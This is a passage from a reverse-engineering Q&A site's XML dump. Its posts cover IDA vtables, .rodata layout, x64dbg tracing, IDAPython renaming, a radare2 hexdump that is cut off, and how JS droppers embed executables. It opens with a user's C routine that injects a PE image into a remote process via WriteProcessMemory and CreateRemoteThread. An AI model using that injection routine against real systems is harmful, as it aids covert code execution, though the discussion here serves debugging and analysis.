printf(&quot;Error: Image base remote is NULL\n&quot;);&#xA;    }&#xA;&#xA;    LPVOID imageBaseLocal = VirtualAlloc(NULL, kImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&#xA;    copy_raw_to_image_local(imageBaseLocal, raw_payload);&#xA;    adjust_relocations(imageBaseRemote, imageBaseLocal);&#xA;    adjust_imports(imageBaseLocal);&#xA;&#xA;    DWORD bytesWritten;&#xA;    if (!WriteProcessMemory(hProcess, imageBaseRemote, imageBaseLocal, kImageSize, &amp;amp;bytesWritten)) {&#xA;        printf(&quot;Cannot write to remote process!\n&quot;);&#xA;    }&#xA;&#xA;    LPTHREAD_START_ROUTINE routine = ((ULONG_PTR)imageBaseRemote + inth-&amp;gt;OptionalHeader.AddressOfEntryPoint);&#xA;&#xA;    DWORD threadId;&#xA;    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, NULL, &amp;amp;threadId);&#xA;&#xA;    if (hThread == NULL) {&#xA;        printf(&quot;%d&quot;, GetLastError());&#xA;    }&#xA;&#xA;    VirtualFree(imageBaseLocal, kImageSize, MEM_RELEASE);&#xA;    fclose(raw_payload);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why these differences between windows 10 and windows 7 appears?&lt;/p&gt;&#xA;" OwnerUserId="25385" LastEditorUserId="245" LastEditDate="2018-11-20T08:33:21.190" LastActivityDate="2018-11-20T08:33:21.190" Title="Injecting exe file into process fails on windows 7 but works on windows 10 / Execution library function fails, access denied" Tags="|windows|c|pe|winapi|injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19125" PostTypeId="1" AcceptedAnswerId="19136" CreationDate="2018-08-22T00:57:56.430" Score="1" ViewCount="6839" Body="&lt;p&gt;I've been trying for a while now to get my head around V-Tables, V-Table patching, etc, i understand what V-Tables are and why they are used (At least i think i do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do i find them in IDA? I'm using IDA Pro 7.0, and i created a test program with two classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ClassA&#xA;{&#xA;public:&#xA;    ClassA();&#xA;    ~ClassA();&#xA;    virtual void Test();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ClassB : public ClassA&#xA;{&#xA;public:&#xA;    ClassB();&#xA;    ~ClassB();&#xA;    void Test() override;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The definition for the &lt;code&gt;Test&lt;/code&gt; function in both cases is a simple &lt;code&gt;cout&lt;/code&gt; to the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;main.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    ClassB* BClass = new ClassB();&#xA;    while (1)&#xA;    {&#xA;        BClass-&amp;gt;Test();&#xA;        Sleep(1000);&#xA;    }&#xA;    delete BClass;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was trying to follow &lt;a href=&quot;https://youtu.be/RO3pg6ZLGQw?t=504&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; explanation, but it seems as if the data isn't structured the same way in his version of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After clicking on the class in the Class Informer window, i'm taken to IDA View-A, and this is what i see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oOpZa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOpZa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point i'm a bit lost, as i'm not really sure how to find or follow pointers in IDA.&lt;/p&gt;&#xA;" OwnerUserId="25380" LastEditorUserId="25380" LastEditDate="2018-08-22T02:48:04.630" LastActivityDate="2018-08-22T21:57:57.187" Title="How to find V-Table in IDA? (Using class informer)" Tags="|ida|ida-plugin|pointer|vtables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19126" PostTypeId="2" ParentId="19124" CreationDate="2018-08-22T02:29:59.950" Score="-1" Body="&lt;p&gt;This is a very interesting try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you sure that DummyApp and InjectTarget are both 32 bit exe?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I saw you launched a thread from entrypoint of DummyApp, but you should know entry point is not a real starting point while launching exe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Before go to entry point, automatically dlls in import table will be loaded.&#xA;Furthermore, not only dlls in import table, but another dlls are loaded while exe is executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think that the list of loading dlls might NOT be same in between win7 and win10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my opinion is helpful to you.&lt;/p&gt;&#xA;" OwnerUserId="25369" LastActivityDate="2018-08-22T02:29:59.950" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19127" PostTypeId="1" AcceptedAnswerId="19133" CreationDate="2018-08-22T03:03:53.757" Score="4" ViewCount="2263" Body="&lt;p&gt;What are the first 16 bytes in the &lt;code&gt;.rodata&lt;/code&gt; section?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;&#xA;&#xA;void myprintf(const char* ptr) {&#xA;        printf(&quot;%p\n&quot;, ptr);&#xA;}&#xA;&#xA;int main() {&#xA;        myprintf(&quot;hello world&quot;);&#xA;        myprintf(&quot;\0\0&quot;);&#xA;        myprintf(&quot;ab\0cde&quot;);&#xA;        static char hi[] = &quot;hi&quot;;&#xA;        myprintf(hi);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ g++ -Wall test_elf.cpp -o test_elf -O3 -std=c++17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -W -p .rodata test_elf &#xA;&#xA;String dump of section '.rodata':&#xA;  [    10]  %p^J&#xA;  [    14]  hello world&#xA;  [    23]  ab&#xA;  [    26]  cde&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are 16 bytes before the first constant string literal.  I use &lt;code&gt;elf.h&lt;/code&gt; to parse, and I also see there are 16 bytes before the first constant string literal.  14 bytes of them are just zero.  1 non zero byte is &lt;code&gt;1&lt;/code&gt;.  Another is &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25248" LastEditorUserId="2147" LastEditDate="2018-08-25T19:48:48.703" LastActivityDate="2018-08-25T19:48:48.703" Title="What are the first 16 bytes in .rodata section?" Tags="|c++|elf|compilers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19128" PostTypeId="1" CreationDate="2018-08-22T04:16:01.007" Score="1" ViewCount="188" Body="&lt;p&gt;I have recently been using x64dbg a lot. I am coming from using tools like dtrace and frida-trace on macOS. Is there any way to get &lt;a href=&quot;https://solaris.reys.net/dtrace-options-flowindent&quot; rel=&quot;nofollow noreferrer&quot;&gt;flow-indent style&lt;/a&gt; trace logs in x64dbg? Or would you recommend a different tool?&lt;/p&gt;&#xA;" OwnerUserId="24467" LastActivityDate="2018-08-22T04:16:01.007" Title="x64dbg flow-indent style trace logs" Tags="|x64dbg|tracing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19129" PostTypeId="1" AcceptedAnswerId="19135" CreationDate="2018-08-22T13:18:34.090" Score="1" ViewCount="218" Body="&lt;p&gt;I am analyzing a malicious JS file, which is obfuscated in a way that I could not de-obfuscate. When I executed it in a virtual machine and spectated process changes, I noticed that a new executable was created, which when acquired, turned out to be written in Visual Basic 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that JS droppers often are written to download the secondary malware but in this case, the exe is created without any network communication. Does that mean that the VB6 exe was packed in the original JS file? On a high level, how can this be implemented? &lt;/p&gt;&#xA;" OwnerUserId="23292" LastActivityDate="2018-08-22T21:43:07.620" Title="How can a Javascript file drop .exe written in Visual Basic without network communication?" Tags="|unpacking|javascript|visual-basic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19130" PostTypeId="2" ParentId="19129" CreationDate="2018-08-22T13:53:55.783" Score="0" Body="&lt;p&gt;Most probably the VB6 executable was base64 encoded and embedded as a string in the obfuscated code. Then decoded back into a binary at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25126" LastEditorUserId="25126" LastEditDate="2018-08-22T14:09:57.350" LastActivityDate="2018-08-22T14:09:57.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19132" PostTypeId="1" AcceptedAnswerId="19134" CreationDate="2018-08-22T18:35:57.107" Score="2" ViewCount="2254" Body="&lt;p&gt;I have a long list of mappings from IDA function names (&lt;code&gt;sub_??????&lt;/code&gt;) to known function prototypes. The prototype is complete, I mean it contains the return type, the name as in the code and the argument types and names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I batch rename and overwrite all the data about the functions with this prototype information using an IDAPython script?&lt;/p&gt;&#xA;" OwnerUserId="19354" LastEditorUserId="2147" LastEditDate="2018-08-22T19:35:02.903" LastActivityDate="2024-01-02T03:43:41.397" Title="Batch rename functions knowing their prototypes in IDA Pro" Tags="|ida|idapython|functions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19133" PostTypeId="2" ParentId="19127" CreationDate="2018-08-22T18:37:15.367" Score="5" Body="&lt;p&gt;&lt;em&gt;Trying to provide a more general answer that would hopefully complement &lt;a href=&quot;https://stackoverflow.com/questions/34733136/why-static-string-in-rodata-section-has-a-four-dots-prefix-in-gcc&quot;&gt;this&lt;/a&gt; answer linked in the comments.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To those who are unsure, the &lt;code&gt;.rodata&lt;/code&gt; section in an executable contains all &lt;em&gt;read-only&lt;/em&gt; variables and constants with a global scope (i.e. will be defined for the entire duration of the program's execution) although the lines are becoming a little blurry and there are exceptions to the rules which are not actually enforced, the &lt;code&gt;.rodata&lt;/code&gt; section usually hold all global and static variables that are read only. This is obviously the reason the strings you defined are there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although your code does not &lt;em&gt;directly&lt;/em&gt; define any constructs except those few string literals, the &lt;code&gt;.rodata&lt;/code&gt; section will hold all data deemed &lt;em&gt;globally scoped&lt;/em&gt; and &lt;em&gt;read-only&lt;/em&gt; by the compiler and linker, regardless of whether it was defined in your code or an additional variable/object your program uses explicitly or implicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now to your question;&lt;/strong&gt; I mentioned additional objects can be explicitly and implicitly defined in your code, without you actually writing them. One explicit example is all the code &lt;code&gt;#include&lt;/code&gt;ed in your program (&lt;code&gt;cstdio&lt;/code&gt; in this case). Code implicitly included in your program is, for example, the code GCC adds that wraps and calls your defined &lt;code&gt;main&lt;/code&gt; function and handles different operating system interfaces (setting up functions related stdin, stderr, stdout) as well as set up and teardown of program objects (that code is where globally scoped objects are initialized by calling their constructor in C++).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this is explained in depth in the linked answer, the actual values (&lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt;) appear to be for a constant defined by GCC's &lt;a href=&quot;http://repo.or.cz/glibc.git/blob/HEAD:/csu/init.c#l24&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;init.c&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const int _IO_stdin_used = 0x20001;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That file is part of GCC's initialization code mentioned above, and is used to control the version of a input/output library GCC implements input/output in programs with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;it's worth noting that an hex-dump will help increase confidence in whether that is indeed the reason for the additional bytes you're seeing, as well as following the compilation and linking process, of course&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A difference worth mentioning between your example and the one in the &lt;a href=&quot;https://stackoverflow.com/questions/34733136/why-static-string-in-rodata-section-has-a-four-dots-prefix-in-gcc&quot;&gt;SO question&lt;/a&gt; if the 14 zero bytes, which are of course padding to a boundary of 16 bytes, which is something compilers often do to optimize for execution time. &lt;s&gt;Replacing the &lt;code&gt;-O3&lt;/code&gt; with &lt;code&gt;-Os&lt;/code&gt; (optimize for size) will probably drop the 14 null bytes, although that is not guaranteed and may depend on the version of GCC you're using.&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-23T00:44:59.703" LastActivityDate="2018-08-23T00:44:59.703" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19134" PostTypeId="2" ParentId="19132" CreationDate="2018-08-22T19:34:04.113" Score="3" Body="&lt;p&gt;IDA has the &lt;a href=&quot;https://github.com/idapython/src/blob/29ec1ceba20cc5c9c7139300e93befb3a3d18b1b/python/idc.py#L5236&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idc.SetType&lt;/code&gt;&lt;/a&gt; method that would accept a function start offset and a function prototype string and will set that function's prototype, although it will not set the function's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;idc.SetType&lt;/code&gt; function is actually a convenience function around &lt;code&gt;ida_typeinf.idc_parse_decl&lt;/code&gt; and &lt;code&gt;ida_typeinf.apply_type&lt;/code&gt;, through a couple of other methods defined in the &lt;code&gt;idc&lt;/code&gt; module. If you wanna set both function name and prototype, you could use &lt;code&gt;idc.parse_decl&lt;/code&gt; to parse the prototype and then call &lt;code&gt;idc.apply_type&lt;/code&gt; and &lt;code&gt;idc.set_name&lt;/code&gt; to set the prototype and name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the code I linked to around &lt;code&gt;idc.SetType&lt;/code&gt; really makes the API clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example code could look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prototype_details = idc.parse_decl(PROTOTYPE, idc.PT_SILENT)&#xA;if prototype_details:&#xA;    idc.set_name(FUNCTION_ADDRESS, prototype_details[0])&#xA;    idc.apply_type(FUNCTION_ADDRESS, prototype_details)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally, you'll need to replace &lt;code&gt;PROTOTYPE&lt;/code&gt; and &lt;code&gt;FUNCTION_ADDRESS&lt;/code&gt; with the function's prototype and address, as well as implement this inside a loop. I'll leave this an an exercise for the reader.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-22T19:34:04.113" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19135" PostTypeId="2" ParentId="19129" CreationDate="2018-08-22T19:44:34.123" Score="0" Body="&lt;p&gt;The executable is most likely &lt;em&gt;embedded&lt;/em&gt; inside the javascript file itself, or of any accompanying files (say, an &lt;code&gt;.html&lt;/code&gt; file that is downloaded with the javascript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Memo mentioned, the embedded executable can be &lt;em&gt;encoded&lt;/em&gt;, &lt;em&gt;obfuscated&lt;/em&gt; or even &lt;em&gt;encrypted&lt;/em&gt; within the javascript file, where the javascript file will be required to &lt;em&gt;decode&lt;/em&gt;, &lt;em&gt;deobfuscate&lt;/em&gt; or &lt;em&gt;decrypt&lt;/em&gt; it before writing it to disk and executing it.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-22T21:43:07.620" LastActivityDate="2018-08-22T21:43:07.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19136" PostTypeId="2" ParentId="19125" CreationDate="2018-08-22T21:57:57.187" Score="3" Body="&lt;p&gt;What you're looking it is actually a VTable. As you know, a VTable is a table of function pointers and as you can see, at address &lt;code&gt;0x19B64&lt;/code&gt; you actually see a single function address (this looks like &lt;code&gt;dd offset sub_XXXX&lt;/code&gt;). That is actually a virtual function table of a size of one. Since you only have one virtual function in your demo class. That offset points to one implementation of &lt;code&gt;Test&lt;/code&gt;. Double-clicking the function name (which defaults to the function's address prefixed with &lt;code&gt;sub_&lt;/code&gt; to indicate it is a subroutine) will set the cursor it it's address (and make it visible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat below that, at address &lt;code&gt;0x19B8C&lt;/code&gt;, you can see the second class's vtable, as you have two classes with differing functions. That offset is the second implementation of &lt;code&gt;Test&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-22T21:57:57.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19137" PostTypeId="2" ParentId="14909" CreationDate="2018-08-22T22:08:59.990" Score="4" Body="&lt;p&gt;In accordance with the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/sections.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual of radare&lt;/a&gt;, I notice that the command &lt;code&gt;S&lt;/code&gt; and &lt;code&gt;Sd&lt;/code&gt; of radare2 are depreciated. You can have a few issues with using it in some ways such as use it on a elf file. Use &lt;code&gt;iS&lt;/code&gt; and &lt;code&gt;iO&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to launch the command in rabin2 then simply type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rabin2 -O d/S/.text hello-world &amp;gt; text.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else, if you prefer to the radare2 console, then in the aim to provide an usage example of how to get a whole hexadecimal representation of the &lt;code&gt;.text&lt;/code&gt; section, I am going to give an example based on the case given by perror. Let's have a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, use &lt;code&gt;iS&lt;/code&gt; instead to list the sections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 hello&#xA;-- Wrong argument&#xA;[0x00000580]&amp;gt; iS&#xA;[Sections]&#xA;00 0x00000000     0 0x00000000     0 ---- &#xA;01 0x00000238    28 0x00000238    28 -r-- .interp&#xA;02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag&#xA;03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id&#xA;04 0x00000298    28 0x00000298    28 -r-- .gnu.hash&#xA;05 0x000002b8   192 0x000002b8   192 -r-- .dynsym&#xA;06 0x00000378   150 0x00000378   150 -r-- .dynstr&#xA;07 0x0000040e    16 0x0000040e    16 -r-- .gnu.version&#xA;08 0x00000420    32 0x00000420    32 -r-- .gnu.version_r&#xA;09 0x00000440   216 0x00000440   216 -r-- .rela.dyn&#xA;10 0x00000518    24 0x00000518    24 -r-- .rela.plt&#xA;11 0x00000530    23 0x00000530    23 -r-x .init&#xA;12 0x00000550    32 0x00000550    32 -r-x .plt&#xA;13 0x00000570     8 0x00000570     8 -r-x .plt.got&#xA;14 0x00000580   466 0x00000580   466 -r-x .text&#xA;15 0x00000754     9 0x00000754     9 -r-x .fini&#xA;16 0x00000760    16 0x00000760    16 -r-- .rodata&#xA;17 0x00000770    60 0x00000770    60 -r-- .eh_frame_hdr&#xA;18 0x000007b0   268 0x000007b0   268 -r-- .eh_frame&#xA;19 0x00000dd8     8 0x00200dd8     8 -rw- .init_array&#xA;20 0x00000de0     8 0x00200de0     8 -rw- .fini_array&#xA;21 0x00000de8     8 0x00200de8     8 -rw- .jcr&#xA;22 0x00000df0   480 0x00200df0   480 -rw- .dynamic&#xA;23 0x00000fd0    48 0x00200fd0    48 -rw- .got&#xA;24 0x00001000    32 0x00201000    32 -rw- .got.plt&#xA;25 0x00001020    16 0x00201020    16 -rw- .data&#xA;26 0x00001030     0 0x00201030     8 -rw- .bss&#xA;27 0x00001030    45 0x00000000    45 ---- .comment&#xA;28 0x00001060  1632 0x00000000  1632 ---- .symtab&#xA;29 0x000016c0   565 0x00000000   565 ---- .strtab&#xA;30 0x000018f5   268 0x00000000   268 ---- .shstrtab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, use &lt;code&gt;iS&lt;/code&gt; to check if we are nicely using the current section by printing the current section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000580]&amp;gt; iS.&#xA;Current section&#xA;00 0x00000580   466 0x00000580   466 -r-x .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thirdly fill free to do &lt;code&gt;px 0x00000580&lt;/code&gt; to display the whole content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000580]&amp;gt; px 0x00000580&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000580  31ed 4989 d15e 4889 e248 83e4 f050 544c  1.I..^H..H...PTL&#xA;0x00000590  8d05 ba01 0000 488d 0d43 0100 0048 8d3d  ......H..C...H.=&#xA;0x000005a0  0c01 0000 ff15 2e0a 2000 f40f 1f44 0000  ........ ....D..&#xA;0x000005b0  488d 3d79 0a20 0048 8d05 790a 2000 5548  H.=y. .H..y. .UH&#xA;0x000005c0  29f8 4889 e548 83f8 0e76 1548 8b05 fe09  ).H..H...v.H....&#xA;0x000005d0  2000 4885 c074 095d ffe0 660f 1f44 0000   .H..t.]..f..D..&#xA;0x000005e0  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........&#xA;0x000005f0  488d 3d39 0a20 0048 8d35 320a 2000 5548  H.=9. .H.52. .UH&#xA;0x00000600  29fe 4889 e548 c1fe 0348 89f0 48c1 e83f  ).H..H...H..H..?&#xA;0x00000610  4801 c648 d1fe 7418 488b 05d1 0920 0048  H..H..t.H.... .H&#xA;0x00000620  85c0 740c 5dff e066 0f1f 8400 0000 0000  ..t.]..f........&#xA;0x00000630  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........&#xA;0x00000640  803d e909 2000 0075 2748 833d a709 2000  .=.. ..u'H.=.. .&#xA;0x00000650  0055 4889 e574 0c48 8b3d ca09 2000 e80d  .UH..t.H.=.. ...&#xA;0x00000660  ffff ffe8 48ff ffff 5dc6 05c0 0920 0001  ....H...].... ..&#xA;0x00000670  f3c3 0f1f 4000 662e 0f1f 8400 0000 0000  ....@.f.........&#xA;0x00000680  488d 3d61 0720 0048 833f 0075 0be9 5eff  H.=a. .H.?.u..^.&#xA;0x00000690  ffff 660f 1f44 0000 488b 0549 0920 0048  ..f..D..H..I. .H&#xA;0x000006a0  85c0 74e9 5548 89e5 ffd0 5de9 40ff ffff  ..t.UH....].@...&#xA;0x000006b0  5548 89e5 4883 ec10 897d fc48 8975 f048  UH..H....}.H.u.H&#xA;0x000006c0  8d3d 9e00 0000 e895 feff ffb8 0000 0000  .=..............&#xA;0x000006d0  c9c3 662e 0f1f 8400 0000 0000 0f1f 4000  ..f...........@.&#xA;0x000006e0  4157 4156 4189 ff41 5541 544c 8d25 e606  AWAVA..AUATL.%..&#xA;0x000006f0  2000 5548 8d2d e606 2000 5349 89f6 4989   .UH.-.. .SI..I.&#xA;0x00000700  d54c 29e5 4883 ec08 48c1 fd03 e81f feff  .L).H...H.......&#xA;0x00000710  ff48 85ed 7420 31db 0f1f 8400 0000 0000  .H..t 1.........&#xA;0x00000720  4c89 ea4c 89f6 4489 ff41 ff14 dc48 83c3  L..L..D..A...H..&#xA;0x00000730  0148 39dd 75ea 4883 c408 5b5d 415c 415d  .H9.u.H...[]A\A]&#xA;0x00000740  415e 415f c390 662e 0f1f 8400 0000 0000  A^A_..f.........&#xA;0x00000750  f3c3 0000 4883 ec08 4883 c408 c300 0000  ....H...H.......&#xA;0x00000760  0100 0200 6865 6c6c 6f20 776f 726c 6400  ....hello world.&#xA;0x00000770  011b 033b 3c00 0000 0600 0000 e0fd ffff  ...;&amp;lt;...........&#xA;0x00000780  8800 0000 00fe ffff b000 0000 10fe ffff  ................&#xA;0x00000790  5800 0000 40ff ffff c800 0000 70ff ffff  X...@.......p...&#xA;0x000007a0  e800 0000 e0ff ffff 3001 0000 0000 0000  ........0.......&#xA;0x000007b0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..&#xA;0x000007c0  1b0c 0708 9001 0710 1400 0000 1c00 0000  ................&#xA;0x000007d0  b0fd ffff 2b00 0000 0000 0000 0000 0000  ....+...........&#xA;0x000007e0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..&#xA;0x000007f0  1b0c 0708 9001 0000 2400 0000 1c00 0000  ........$.......&#xA;0x00000800  50fd ffff 2000 0000 000e 1046 0e18 4a0f  P... ......F..J.&#xA;0x00000810  0b77 0880 003f 1a3b 2a33 2422 0000 0000  .w...?.;*3$&quot;....&#xA;0x00000820  1400 0000 4400 0000 48fd ffff 0800 0000  ....D...H.......&#xA;0x00000830  0000 0000 0000 0000 1c00 0000 5c00 0000  ............\...&#xA;0x00000840  70fe ffff 2200 0000 0041 0e10 8602 430d  p...&quot;....A....C.&#xA;0x00000850  065d 0c07 0800 0000 4400 0000 7c00 0000  .]......D...|...&#xA;0x00000860  80fe ffff 6500 0000 0042 0e10 8f02 420e  ....e....B....B.&#xA;0x00000870  188e 0345 0e20 8d04 420e 288c 0548 0e30  ...E. ..B.(..H.0&#xA;0x00000880  8606 480e 3883 074d 0e40 720e 3841 0e30  ..H.8..M.@r.8A.0&#xA;0x00000890  410e 2842 0e20 420e 1842 0e10 420e 0800  A.(B. B..B..B...&#xA;0x000008a0  1400 0000 c400 0000 a8fe ffff 0200 0000  ................&#xA;0x000008b0  0000 0000 0000 0000 0000 0000 ffff ffff  ................&#xA;0x000008c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000008d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000008e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000008f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000900  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000910  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000920  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000930  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000940  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000950  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000960  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000970  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000980  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000990  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009b0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x000009f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a00  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a10  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a20  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a30  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a40  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a50  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a60  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a70  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a80  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000a90  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000aa0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000ab0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000ac0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000ad0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000ae0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000af0  ffff ffff ffff ffff ffff ffff ffff ffff  